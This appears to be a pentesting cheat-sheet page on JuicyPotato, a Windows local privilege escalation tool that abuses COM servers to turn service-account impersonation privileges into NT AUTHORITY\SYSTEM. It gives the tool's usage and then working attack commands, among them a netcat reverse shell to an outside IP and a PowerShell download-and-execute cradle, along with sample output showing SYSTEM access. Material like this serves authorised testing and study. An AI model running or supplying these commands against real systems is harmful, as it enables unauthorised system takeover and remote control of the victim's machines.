A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM
RottenPotatoNG and its variants leverages the privilege escalation chain based on BITS
service having the MiTM listener on 127.0.0.1:6666
and when you have SeImpersonate
or SeAssignPrimaryToken
privileges. During a Windows build review we found a setup where BITS
was intentionally disabled and port 6666
was taken.
We decided to weaponize RottenPotatoNG: Say hello to Juicy Potato.
For the theory, see Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM and follow the chain of links and references.
We discovered that, other than BITS
there are a several COM servers we can abuse. They just need to:
IMarshal
interfaceAfter some testing we obtained and tested an extensive list of interesting CLSID’s on several Windows versions.
JuicyPotato allows you to:
CreateProcessWithToken
(needs SeImpersonate
)CreateProcessAsUser
(needs SeAssignPrimaryToken
)both
135
…T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
If the user has SeImpersonate
or SeAssignPrimaryToken
privileges then you are SYSTEM.
It’s nearly impossible to prevent the abuse of all these COM Servers. You could think about modifying the permissions of these objects via DCOMCNFG
but good luck, this is gonna be challenging.
The actual solution is to protect sensitive accounts and applications which run under the * SERVICE
accounts. Stopping DCOM
would certainly inhibit this exploit but could have a serious impact on the underlying OS.
From: http://ohpe.it/juicy-potato/
c:\Users\Public>JuicyPotato -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
JuicyPotato -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
.\jp.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
If you can’t find any working CLSID you should visit this page:
{% embed url=“https://ohpe.it/juicy-potato/CLSID/" %}
There you can find some CLSID that you could use instead of the default one to privesc.
You could also try to find other working CLSID.
First, you will need some executables apart from juicypotato.exe.
Download Join-Object.ps1 and load it into your PS session, and download and execute GetCLSID.ps1. That script will create a list of possible CLSIDs to test.
Then download test_clsid.bat (change the path to the CLSID list and to the juicypotato executable) and execute it. It will start trying every CLSID, and when the port number changes, it will mean that the CLSID worked.
Check the working CLSIDs using the parameter -c